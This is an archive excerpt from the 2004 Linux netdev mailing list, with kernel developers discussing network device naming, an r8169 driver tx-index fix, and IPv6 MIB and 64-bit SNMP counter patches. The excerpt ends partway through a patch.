Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2443 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 419 Lines: 10 > Unfortunately sscanf("eth0-not-allocated", "eth%d", &i) fools it. > Which may or may not be worth worrying about. Hmmm, the old code would have assigned "eth0" in that case, new code would assign "eth1". Other difference is in the case of whitespace. scanf("white space0", "white space%d", &i) because any whitespace matches multiple whitespace characters. Is it worth making a separate explicit match routine? From oxymoron@waste.org Wed Jan 14 11:52:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 11:52:26 -0800 (PST) Received: from waste.org (waste.org [209.173.204.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EJq56H005862 for ; Wed, 14 Jan 2004 11:52:06 -0800 Received: from waste.org (localhost [127.0.0.1]) by waste.org (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0EJpwhm023038; Wed, 14 Jan 2004 13:51:58 -0600 Received: (from oxymoron@localhost) by waste.org (8.12.3/8.12.3/Debian-6.6) id i0EJpwJN023032; Wed, 14 Jan 2004 13:51:58 -0600 Date: Wed, 14 Jan 2004 13:51:57 -0600 From: Matt Mackall To: Stephen Hemminger Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. Message-ID: <20040114195157.GJ28521@waste.org> References: <20040113154610.38f5934c.shemminger@osdl.org> <20040113155921.342db463.davem@redhat.com> <20040113161303.20f1159d.shemminger@osdl.org> <20040114071303.GG28521@waste.org> <20040114113734.4e9a0865.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040114113734.4e9a0865.shemminger@osdl.org> User-Agent: Mutt/1.3.28i X-Virus-Scanned: by amavisd-new X-archive-position: 2444 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mpm@selenic.com Precedence: bulk X-list: netdev Content-Length: 879 Lines: 20 On Wed, Jan 14, 2004 at 11:37:34AM -0800, Stephen Hemminger wrote: > > > Unfortunately sscanf("eth0-not-allocated", "eth%d", &i) fools it. > > Which may or may not be worth worrying about. > > Hmmm, the old code would have assigned "eth0" in that case, new code > would assign "eth1". Other difference is in the case of whitespace. > scanf("white space0", "white space%d", &i) > because any whitespace matches multiple whitespace characters. > > Is it worth making a separate explicit match routine? I think it's probably easier to just add O(1) lookup and then do explicit lookups on eth0..ethx. As Dave's pointed out, fast lookups are wanted elsewhere. I made a quick hack to make the sscanf trick work (try scanning for "eth%d%c" and insisting that %c not get parsed) but it was not pretty. -- Matt Mackall : http://www.selenic.com : Linux development and consulting From davem@pizda.ninka.net Wed Jan 14 12:19:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 12:19:14 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EKJ06H006894 for ; Wed, 14 Jan 2004 12:19:00 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id MAA25193; Wed, 14 Jan 2004 12:11:55 -0800 Date: Wed, 14 Jan 2004 12:11:55 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: mpm@selenic.com, netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. Message-Id: <20040114121155.7dabd70e.davem@redhat.com> In-Reply-To: <20040114113734.4e9a0865.shemminger@osdl.org> References: <20040113154610.38f5934c.shemminger@osdl.org> <20040113155921.342db463.davem@redhat.com> <20040113161303.20f1159d.shemminger@osdl.org> <20040114071303.GG28521@waste.org> <20040114113734.4e9a0865.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2445 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 882 Lines: 20 On Wed, 14 Jan 2004 11:37:34 -0800 Stephen Hemminger wrote: > > Unfortunately sscanf("eth0-not-allocated", "eth%d", &i) fools it. > > Which may or may not be worth worrying about. > > Hmmm, the old code would have assigned "eth0" in that case, new code > would assign "eth1". Other difference is in the case of whitespace. > scanf("white space0", "white space%d", &i) > because any whitespace matches multiple whitespace characters. > > Is it worth making a separate explicit match routine? My only concern right now is that, since we're in the middle of 2.6.x, we not break semantics of such a core routine like this one. Although I'm willing to accept that certain cases are just rediculious and not worth worrying about, just try your best to create a version of the patch that matches current behavior as best as possible and we'll work from that. From jt@bougret.hpl.hp.com Wed Jan 14 13:39:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 13:39:29 -0800 (PST) Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0ELdB6H012274 for ; Wed, 14 Jan 2004 13:39:16 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel11.hp.com (Postfix) with ESMTP id D87BC1C028BB; Wed, 14 Jan 2004 13:39:08 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id NAA29577; Wed, 14 Jan 2004 13:39:08 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1AgsjE-0005vD-00; Wed, 14 Jan 2004 13:39:08 -0800 Date: Wed, 14 Jan 2004 13:39:08 -0800 To: Stephen Hemminger , "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. Message-ID: <20040114213908.GA22653@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 2446 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 1075 Lines: 24 Stephen Hemminger wrote : > > When using pseudo network devices, and really big machines; there is > sometimes a need to have a lot of network devices. This replaces the > existing 2.6.1 limit of 100 entries an was O(n^2) > with a algorithm that will handle up to 32768 entries with O(n) behaviour. You may want to be careful about buffer overflow in dev->name. The old code did not check for it, because it was replacing '%d' with a most 2 char ('0' to '99'). The new code may create overflow for device names such as : 'reallylongname%d' And you don't seem the catch that (unless I overlooked something). The problem is more messy that it looks like, because there is no sane way to handle overflow. You can return an error to the driver, and the driver may bail out properly (or crash), but the end user has no way to overcome the issue and get its card loaded (short of editing the driver and recompiling the kernel). So, there is a bit of auding to do first. I know for example the HostAP create such long names. But that's only my humble opinion ;-) Jean From romieu@fr.zoreil.com Wed Jan 14 14:36:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 14:36:55 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EMaZ6H014246 for ; Wed, 14 Jan 2004 14:36:36 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0EMXpsW007116; Wed, 14 Jan 2004 23:33:51 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0EMXpbF007115; Wed, 14 Jan 2004 23:33:51 +0100 Date: Wed, 14 Jan 2004 23:33:50 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [patch] 2.6.1-bk1-netdev4 - latent bug Message-ID: <20040114233350.A4646@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 2447 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 2001 Lines: 62 Hi, (disclaimer: I have not been especially brilliant these last days, so handle with care) the following patch against -netdev4 should fix an error which appears in every r8169 driver (-vanilla, -mm, -netdev, -my). The patch will not apply against plain 2.6.x due to endianness conflict. I will regenerate a serie for 2.6.1-bk1 in a few minutes. It has not been tested so far but it could be a decent candidate for lock-up under stress. Please review rtl8169_tx_interrupt/rtl8169_start_xmit and/or test if you can. - possible tx descriptor index overflow (assume tp->dirty_tx = NUM_TX_DESC/2, tp->cur_tx = NUM_TX_DESC - 1 for example); - the status of an inadequate descriptor is checked. When tx_dirty == 1, one should not necessarily notice a difference. drivers/net/r8169.c | 9 ++++----- 1 files changed, 4 insertions(+), 5 deletions(-) diff -puN drivers/net/r8169.c~r8169-tx-index-overflow drivers/net/r8169.c --- linux-2.6.1-bk1-netdev4/drivers/net/r8169.c~r8169-tx-index-overflow 2004-01-14 23:16:58.000000000 +0100 +++ linux-2.6.1-bk1-netdev4-fr/drivers/net/r8169.c 2004-01-14 23:16:58.000000000 +0100 @@ -1341,8 +1341,7 @@ static void rtl8169_tx_interrupt(struct net_device *dev, struct rtl8169_private *tp, void *ioaddr) { - unsigned long dirty_tx, tx_left = 0; - int entry = tp->cur_tx % NUM_TX_DESC; + unsigned long dirty_tx, tx_left; assert(dev != NULL); assert(tp != NULL); @@ -1352,8 +1351,9 @@ rtl8169_tx_interrupt(struct net_device * tx_left = tp->cur_tx - dirty_tx; while (tx_left > 0) { - if (!(le32_to_cpu(tp->TxDescArray[entry].status) & OWNbit)) { - int cur = dirty_tx % NUM_TX_DESC; + int cur = dirty_tx % NUM_TX_DESC; + + if (!(le32_to_cpu(tp->TxDescArray[cur].status) & OWNbit)) { struct sk_buff *skb = tp->Tx_skbuff[cur]; /* FIXME: is it really accurate for TxErr ? */ @@ -1365,7 +1365,6 @@ rtl8169_tx_interrupt(struct net_device * dev_kfree_skb_irq(skb); dirty_tx++; tx_left--; - entry++; } } _ From mashirle@us.ibm.com Wed Jan 14 14:50:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 14:50:48 -0800 (PST) Received: from linux2.suntekindustrial.com (wbar1.sjo1-4-4-004-065.sjo1.dsl-verizon.net [4.4.4.65]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EMoH6H014961 for ; Wed, 14 Jan 2004 14:50:25 -0800 Received: from ibm-mxl (bi01p1.co.us.ibm.com [32.97.110.142]) (authenticated bits=0) by linux2.suntekindustrial.com (8.12.8/8.12.8) with ESMTP id i0F077bO012470; Wed, 14 Jan 2004 16:07:09 -0800 From: Shirley Ma Organization: IBM Linux To: "David S. Miller" Subject: Re: [PATCH] New Patch Implementation for IPv6 MIB:ipv6InterfaceTable Date: Wed, 14 Jan 2004 14:48:55 -0800 User-Agent: KMail/1.4.3 Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com References: <200310141032.23998.mashirle@us.ibm.com> <200310201600.10016.mashirle@us.ibm.com> <20031020210433.27e25240.davem@redhat.com> In-Reply-To: <20031020210433.27e25240.davem@redhat.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_JP4IC6JIGMLAEM9J54WO" Message-Id: <200401141448.55531.mashirle@us.ibm.com> X-archive-position: 2448 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mashirle@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 12356 Lines: 364 --------------Boundary-00=_JP4IC6JIGMLAEM9J54WO Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable > It looks fine but I cannot merge it at this time. Linus wants > only critical bug fixes for nowin 2.6.x > > Maybe in 2.6.1, 2.6.2 or later we can merge this in. This patch is against 2.6.1 kernel. Thanks Shirley Ma IBM Linux Technology Center --------------Boundary-00=_JP4IC6JIGMLAEM9J54WO Content-Type: text/x-diff; charset="iso-8859-1"; name="linux-2.6.1-ipv6mib1.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="linux-2.6.1-ipv6mib1.patch" diff -urN linux-2.6.1/include/linux/rtnetlink.h linux-2.6.1-ipv6mib1/include/linux/rtnetlink.h --- linux-2.6.1/include/linux/rtnetlink.h 2004-01-08 22:59:55.000000000 -0800 +++ linux-2.6.1-ipv6mib1/include/linux/rtnetlink.h 2004-01-12 13:40:09.000000000 -0800 @@ -558,9 +558,18 @@ IFLA_INET6_CONF, /* sysctl parameters */ IFLA_INET6_STATS, /* statistics */ IFLA_INET6_MCAST, /* MC things. What of them? */ + IFLA_INET6_CACHEINFO, /* time values and max reasm size */ }; -#define IFLA_INET6_MAX IFLA_INET6_MCAST +struct ifla_cacheinfo +{ + __u32 max_reasm_len; + __u32 tstamp; /* ipv6InterfaceTable updated timestamp */ + __u32 reachable_time; + __u32 retrans_time; +}; + +#define IFLA_INET6_MAX IFLA_INET6_CACHEINFO /***************************************************************** * Traffic control messages. @@ -611,6 +620,7 @@ #define RTMGRP_IPV6_IFADDR 0x100 #define RTMGRP_IPV6_MROUTE 0x200 #define RTMGRP_IPV6_ROUTE 0x400 +#define RTMGRP_IPV6_IFINFO 0x800 #define RTMGRP_DECnet_IFADDR 0x1000 #define RTMGRP_DECnet_ROUTE 0x4000 diff -urN linux-2.6.1/include/net/if_inet6.h linux-2.6.1-ipv6mib1/include/net/if_inet6.h --- linux-2.6.1/include/net/if_inet6.h 2004-01-08 23:00:04.000000000 -0800 +++ linux-2.6.1-ipv6mib1/include/net/if_inet6.h 2004-01-12 13:40:09.000000000 -0800 @@ -183,6 +183,7 @@ struct inet6_dev *next; struct ipv6_devconf cnf; struct ipv6_devstat stats; + unsigned long tstamp; /* ipv6InterfaceTable update timestamp */ }; extern struct ipv6_devconf ipv6_devconf; diff -urN linux-2.6.1/include/net/ndisc.h linux-2.6.1-ipv6mib1/include/net/ndisc.h --- linux-2.6.1/include/net/ndisc.h 2004-01-08 22:59:55.000000000 -0800 +++ linux-2.6.1-ipv6mib1/include/net/ndisc.h 2004-01-12 13:40:09.000000000 -0800 @@ -98,6 +98,17 @@ extern void igmp6_cleanup(void); +#ifdef CONFIG_SYSCTL +extern int ndisc_ifinfo_sysctl_change(ctl_table *ctl, + int write, + struct file * filp, + void __user *buffer, + size_t *lenp); +#endif + +extern void inet6_ifinfo_notify(int event, + struct inet6_dev *idev); + static inline struct neighbour * ndisc_get_neigh(struct net_device *dev, struct in6_addr *addr) { diff -urN linux-2.6.1/include/net/neighbour.h linux-2.6.1-ipv6mib1/include/net/neighbour.h --- linux-2.6.1/include/net/neighbour.h 2004-01-08 23:00:04.000000000 -0800 +++ linux-2.6.1-ipv6mib1/include/net/neighbour.h 2004-01-12 13:40:09.000000000 -0800 @@ -47,6 +47,9 @@ #include #include +#ifdef CONFIG_SYSCTL +#include +#endif #define NUD_IN_TIMER (NUD_INCOMPLETE|NUD_DELAY|NUD_PROBE) #define NUD_VALID (NUD_PERMANENT|NUD_NOARP|NUD_REACHABLE|NUD_PROBE|NUD_STALE|NUD_DELAY) @@ -206,8 +209,11 @@ extern int neigh_delete(struct sk_buff *skb, struct nlmsghdr *nlh, void *arg); extern void neigh_app_ns(struct neighbour *n); -extern int neigh_sysctl_register(struct net_device *dev, struct neigh_parms *p, - int p_id, int pdev_id, char *p_name); +extern int neigh_sysctl_register(struct net_device *dev, + struct neigh_parms *p, + int p_id, int pdev_id, + char *p_name, + proc_handler *proc_handler); extern void neigh_sysctl_unregister(struct neigh_parms *p); /* diff -urN linux-2.6.1/net/core/neighbour.c linux-2.6.1-ipv6mib1/net/core/neighbour.c --- linux-2.6.1/net/core/neighbour.c 2004-01-08 22:59:06.000000000 -0800 +++ linux-2.6.1-ipv6mib1/net/core/neighbour.c 2004-01-12 13:40:09.000000000 -0800 @@ -1629,7 +1629,8 @@ }; int neigh_sysctl_register(struct net_device *dev, struct neigh_parms *p, - int p_id, int pdev_id, char *p_name) + int p_id, int pdev_id, char *p_name, + proc_handler *handler) { struct neigh_sysctl_table *t = kmalloc(sizeof(*t), GFP_KERNEL); const char *dev_name_source = NULL; @@ -1643,6 +1644,10 @@ t->neigh_vars[1].data = &p->ucast_probes; t->neigh_vars[2].data = &p->app_probes; t->neigh_vars[3].data = &p->retrans_time; + if (handler) { + t->neigh_vars[3].proc_handler = handler; + t->neigh_vars[3].extra1 = dev; + } t->neigh_vars[4].data = &p->base_reachable_time; t->neigh_vars[5].data = &p->delay_probe_time; t->neigh_vars[6].data = &p->gc_staletime; diff -urN linux-2.6.1/net/ipv4/arp.c linux-2.6.1-ipv6mib1/net/ipv4/arp.c --- linux-2.6.1/net/ipv4/arp.c 2004-01-08 22:59:56.000000000 -0800 +++ linux-2.6.1-ipv6mib1/net/ipv4/arp.c 2004-01-12 13:40:09.000000000 -0800 @@ -1122,7 +1122,7 @@ arp_proc_init(); #ifdef CONFIG_SYSCTL neigh_sysctl_register(NULL, &arp_tbl.parms, NET_IPV4, - NET_IPV4_NEIGH, "ipv4"); + NET_IPV4_NEIGH, "ipv4", NULL); #endif register_netdevice_notifier(&arp_netdev_notifier); } diff -urN linux-2.6.1/net/ipv4/devinet.c linux-2.6.1-ipv6mib1/net/ipv4/devinet.c --- linux-2.6.1/net/ipv4/devinet.c 2004-01-08 22:59:19.000000000 -0800 +++ linux-2.6.1-ipv6mib1/net/ipv4/devinet.c 2004-01-12 13:40:09.000000000 -0800 @@ -155,7 +155,7 @@ dev_hold(dev); #ifdef CONFIG_SYSCTL neigh_sysctl_register(dev, in_dev->arp_parms, NET_IPV4, - NET_IPV4_NEIGH, "ipv4"); + NET_IPV4_NEIGH, "ipv4", NULL); #endif write_lock_bh(&inetdev_lock); dev->ip_ptr = in_dev; @@ -910,7 +910,7 @@ devinet_sysctl_unregister(&in_dev->cnf); neigh_sysctl_unregister(in_dev->arp_parms); neigh_sysctl_register(dev, in_dev->arp_parms, NET_IPV4, - NET_IPV4_NEIGH, "ipv4"); + NET_IPV4_NEIGH, "ipv4", NULL); devinet_sysctl_register(in_dev, &in_dev->cnf); #endif break; diff -urN linux-2.6.1/net/ipv6/addrconf.c linux-2.6.1-ipv6mib1/net/ipv6/addrconf.c --- linux-2.6.1/net/ipv6/addrconf.c 2004-01-08 23:00:03.000000000 -0800 +++ linux-2.6.1-ipv6mib1/net/ipv6/addrconf.c 2004-01-14 14:22:59.000000000 -0800 @@ -373,9 +373,10 @@ write_unlock_bh(&addrconf_lock); ipv6_mc_init_dev(ndev); - + ndev->tstamp = jiffies; #ifdef CONFIG_SYSCTL - neigh_sysctl_register(dev, ndev->nd_parms, NET_IPV6, NET_IPV6_NEIGH, "ipv6"); + neigh_sysctl_register(dev, ndev->nd_parms, NET_IPV6, + NET_IPV6_NEIGH, "ipv6", &ndisc_ifinfo_sysctl_change); addrconf_sysctl_register(ndev, &ndev->cnf); #endif } @@ -1890,6 +1891,8 @@ rt6_mtu_change(dev, dev->mtu); idev->cnf.mtu6 = dev->mtu; } + idev->tstamp = jiffies; + inet6_ifinfo_notify(RTM_NEWLINK, idev); /* If the changed mtu during down is lower than IPV6_MIN_MTU stop IPv6 on this interface. */ @@ -1921,7 +1924,7 @@ if (idev) { addrconf_sysctl_unregister(&idev->cnf); neigh_sysctl_unregister(idev->nd_parms); - neigh_sysctl_register(dev, idev->nd_parms, NET_IPV6, NET_IPV6_NEIGH, "ipv6"); + neigh_sysctl_register(dev, idev->nd_parms, NET_IPV6, NET_IPV6_NEIGH, "ipv6", &ndisc_ifinfo_sysctl_change); addrconf_sysctl_register(idev, &idev->cnf); } #endif @@ -2023,6 +2026,10 @@ else ipv6_mc_down(idev); + /* Step 5: netlink notification of this interface */ + idev->tstamp = jiffies; + inet6_ifinfo_notify(RTM_NEWLINK, idev); + /* Shot the device (if unregistered) */ if (how == 1) { @@ -2724,17 +2731,19 @@ #endif } -static int inet6_fill_ifinfo(struct sk_buff *skb, struct net_device *dev, - struct inet6_dev *idev, - int type, u32 pid, u32 seq) +static int inet6_fill_ifinfo(struct sk_buff *skb, struct inet6_dev *idev, + u32 pid, u32 seq, int event) { + struct net_device *dev = idev->dev; __s32 *array = NULL; struct ifinfomsg *r; struct nlmsghdr *nlh; unsigned char *b = skb->tail; struct rtattr *subattr; + __u32 mtu = dev->mtu; + struct ifla_cacheinfo ci; - nlh = NLMSG_PUT(skb, pid, seq, type, sizeof(*r)); + nlh = NLMSG_PUT(skb, pid, seq, event, sizeof(*r)); if (pid) nlh->nlmsg_flags |= NLM_F_MULTI; r = NLMSG_DATA(nlh); r->ifi_family = AF_INET6; @@ -2749,6 +2758,13 @@ RTA_PUT(skb, IFLA_IFNAME, strlen(dev->name)+1, dev->name); + if (dev->addr_len) + RTA_PUT(skb, IFLA_ADDRESS, dev->addr_len, dev->dev_addr); + + RTA_PUT(skb, IFLA_MTU, sizeof(mtu), &mtu); + if (dev->ifindex != dev->iflink) + RTA_PUT(skb, IFLA_LINK, sizeof(int), &dev->iflink); + subattr = (struct rtattr*)skb->tail; RTA_PUT(skb, IFLA_PROTINFO, 0, NULL); @@ -2756,6 +2772,14 @@ /* return the device flags */ RTA_PUT(skb, IFLA_INET6_FLAGS, sizeof(__u32), &idev->if_flags); + /* return interface cacheinfo */ + ci.max_reasm_len = IPV6_MAXPLEN; + ci.tstamp = (__u32)(TIME_DELTA(idev->tstamp, INITIAL_JIFFIES) / HZ * 100 + + TIME_DELTA(idev->tstamp, INITIAL_JIFFIES) % HZ * 100 / HZ); + ci.reachable_time = idev->nd_parms->reachable_time; + ci.retrans_time = idev->nd_parms->retrans_time; + RTA_PUT(skb, IFLA_INET6_CACHEINFO, sizeof(ci), &ci); + /* return the device sysctl params */ if ((array = kmalloc(DEVCONF_MAX * sizeof(*array), GFP_ATOMIC)) == NULL) goto rtattr_failure; @@ -2790,8 +2814,8 @@ continue; if ((idev = in6_dev_get(dev)) == NULL) continue; - err = inet6_fill_ifinfo(skb, dev, idev, RTM_NEWLINK, - NETLINK_CB(cb->skb).pid, cb->nlh->nlmsg_seq); + err = inet6_fill_ifinfo(skb, idev, NETLINK_CB(cb->skb).pid, + cb->nlh->nlmsg_seq, RTM_NEWLINK); in6_dev_put(idev); if (err <= 0) break; @@ -2802,6 +2826,26 @@ return skb->len; } +void inet6_ifinfo_notify(int event, struct inet6_dev *idev) +{ + struct sk_buff *skb; + /* 128 bytes ?? */ + int size = NLMSG_SPACE(sizeof(struct ifinfomsg)+128); + + skb = alloc_skb(size, GFP_ATOMIC); + if (!skb) { + netlink_set_err(rtnl, 0, RTMGRP_IPV6_IFINFO, ENOBUFS); + return; + } + if (inet6_fill_ifinfo(skb, idev, 0, 0, event) < 0) { + kfree_skb(skb); + netlink_set_err(rtnl, 0, RTMGRP_IPV6_IFINFO, EINVAL); + return; + } + NETLINK_CB(skb).dst_groups = RTMGRP_IPV6_IFINFO; + netlink_broadcast(rtnl, skb, 0, RTMGRP_IPV6_IFINFO, GFP_ATOMIC); +} + static struct rtnetlink_link inet6_rtnetlink_table[RTM_MAX - RTM_BASE + 1] = { [RTM_GETLINK - RTM_BASE] = { .dumpit = inet6_dump_ifinfo, }, [RTM_NEWADDR - RTM_BASE] = { .doit = inet6_rtm_newaddr, }, diff -urN linux-2.6.1/net/ipv6/ndisc.c linux-2.6.1-ipv6mib1/net/ipv6/ndisc.c --- linux-2.6.1/net/ipv6/ndisc.c 2004-01-08 22:59:44.000000000 -0800 +++ linux-2.6.1-ipv6mib1/net/ipv6/ndisc.c 2004-01-12 16:18:02.000000000 -0800 @@ -1115,6 +1115,8 @@ if (rtime < HZ/10) rtime = HZ/10; in6_dev->nd_parms->retrans_time = rtime; + in6_dev->tstamp = jiffies; + inet6_ifinfo_notify(RTM_NEWLINK, in6_dev); } rtime = ntohl(ra_msg->reachable_time); @@ -1128,6 +1130,8 @@ in6_dev->nd_parms->base_reachable_time = rtime; in6_dev->nd_parms->gc_staletime = 3 * rtime; in6_dev->nd_parms->reachable_time = neigh_rand_reach_time(rtime); + in6_dev->tstamp = jiffies; + inet6_ifinfo_notify(RTM_NEWLINK, in6_dev); } } } @@ -1492,6 +1496,21 @@ .notifier_call = ndisc_netdev_event, }; +#ifdef CONFIG_SYSCTL +int ndisc_ifinfo_sysctl_change(struct ctl_table *ctl, int write, struct file * filp, void __user *buffer, size_t *lenp) +{ + struct net_device *dev = ctl->extra1; + struct inet6_dev *idev; + + if (write && dev && (idev = in6_dev_get(dev)) != NULL) { + idev->tstamp = jiffies; + inet6_ifinfo_notify(RTM_NEWLINK, idev); + in6_dev_put(idev); + } + return proc_dointvec(ctl, write, filp, buffer, lenp); +} +#endif + int __init ndisc_init(struct net_proto_family *ops) { struct ipv6_pinfo *np; @@ -1522,7 +1541,8 @@ neigh_table_init(&nd_tbl); #ifdef CONFIG_SYSCTL - neigh_sysctl_register(NULL, &nd_tbl.parms, NET_IPV6, NET_IPV6_NEIGH, "ipv6"); + neigh_sysctl_register(NULL, &nd_tbl.parms, NET_IPV6, NET_IPV6_NEIGH, + "ipv6", &ndisc_ifinfo_sysctl_change); #endif register_netdevice_notifier(&ndisc_netdev_notifier); --------------Boundary-00=_JP4IC6JIGMLAEM9J54WO-- From mashirle@us.ibm.com Wed Jan 14 14:53:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 14:53:29 -0800 (PST) Received: from linux2.suntekindustrial.com (wbar1.sjo1-4-4-004-065.sjo1.dsl-verizon.net [4.4.4.65]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EMrC6H015315 for ; Wed, 14 Jan 2004 14:53:12 -0800 Received: from ibm-mxl (bi01p1.co.us.ibm.com [32.97.110.142]) (authenticated bits=0) by linux2.suntekindustrial.com (8.12.8/8.12.8) with ESMTP id i0F0B0bO012477; Wed, 14 Jan 2004 16:11:01 -0800 From: Shirley Ma Organization: IBM Linux To: "David S. Miller" Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c Date: Wed, 14 Jan 2004 14:52:51 -0800 User-Agent: KMail/1.4.3 Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, xma@us.ibm.com References: <200312021240.PAA01536@yakov.inr.ac.ru> <200312051214.48076.mashirle@us.ibm.com> <20031205123133.3743fe39.davem@redhat.com> In-Reply-To: <20031205123133.3743fe39.davem@redhat.com> MIME-Version: 1.0 Message-Id: <200401141450.43806.mashirle@us.ibm.com> Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_3W4IHK7H5IB4D0GPKYUU" X-archive-position: 2449 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mashirle@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 21170 Lines: 727 --------------Boundary-00=_3W4IHK7H5IB4D0GPKYUU Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable > "sizeof(unsigned long)" evaluates to 8 on 64-bit systems, > yet you assume it always evaluated to 4 as on 32-bit systems. > > Maybe it would be wiser to explicitly use 'u32' and 'u64' for > the types of the snmp counters? > > This has always been a sore area. This is the new patch against 2.6.1 kernel. Thanks Shirley Ma IBM Linux Technology Center --------------Boundary-00=_3W4IHK7H5IB4D0GPKYUU Content-Type: text/x-diff; charset="iso-8859-1"; name="linux-2.6.1-ipv6mib2-64.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="linux-2.6.1-ipv6mib2-64.patch" diff -urN linux-2.6.1/include/net/snmp.h linux-2.6.1-ipv6mib2-64/include/net/snmp.h --- linux-2.6.1/include/net/snmp.h 2004-01-08 22:59:26.000000000 -0800 +++ linux-2.6.1-ipv6mib2-64/include/net/snmp.h 2004-01-13 13:45:23.000000000 -0800 @@ -49,24 +49,24 @@ */ struct ip_mib { - unsigned long IpInReceives; - unsigned long IpInHdrErrors; - unsigned long IpInAddrErrors; - unsigned long IpForwDatagrams; - unsigned long IpInUnknownProtos; - unsigned long IpInDiscards; - unsigned long IpInDelivers; - unsigned long IpOutRequests; - unsigned long IpOutDiscards; - unsigned long IpOutNoRoutes; - unsigned long IpReasmTimeout; - unsigned long IpReasmReqds; - unsigned long IpReasmOKs; - unsigned long IpReasmFails; - unsigned long IpFragOKs; - unsigned long IpFragFails; - unsigned long IpFragCreates; - unsigned long __pad[0]; + __u64 IpInReceives; + __u64 IpInHdrErrors; + __u64 IpInAddrErrors; + __u64 IpForwDatagrams; + __u64 IpInUnknownProtos; + __u64 IpInDiscards; + __u64 IpInDelivers; + __u64 IpOutRequests; + __u64 IpOutDiscards; + __u64 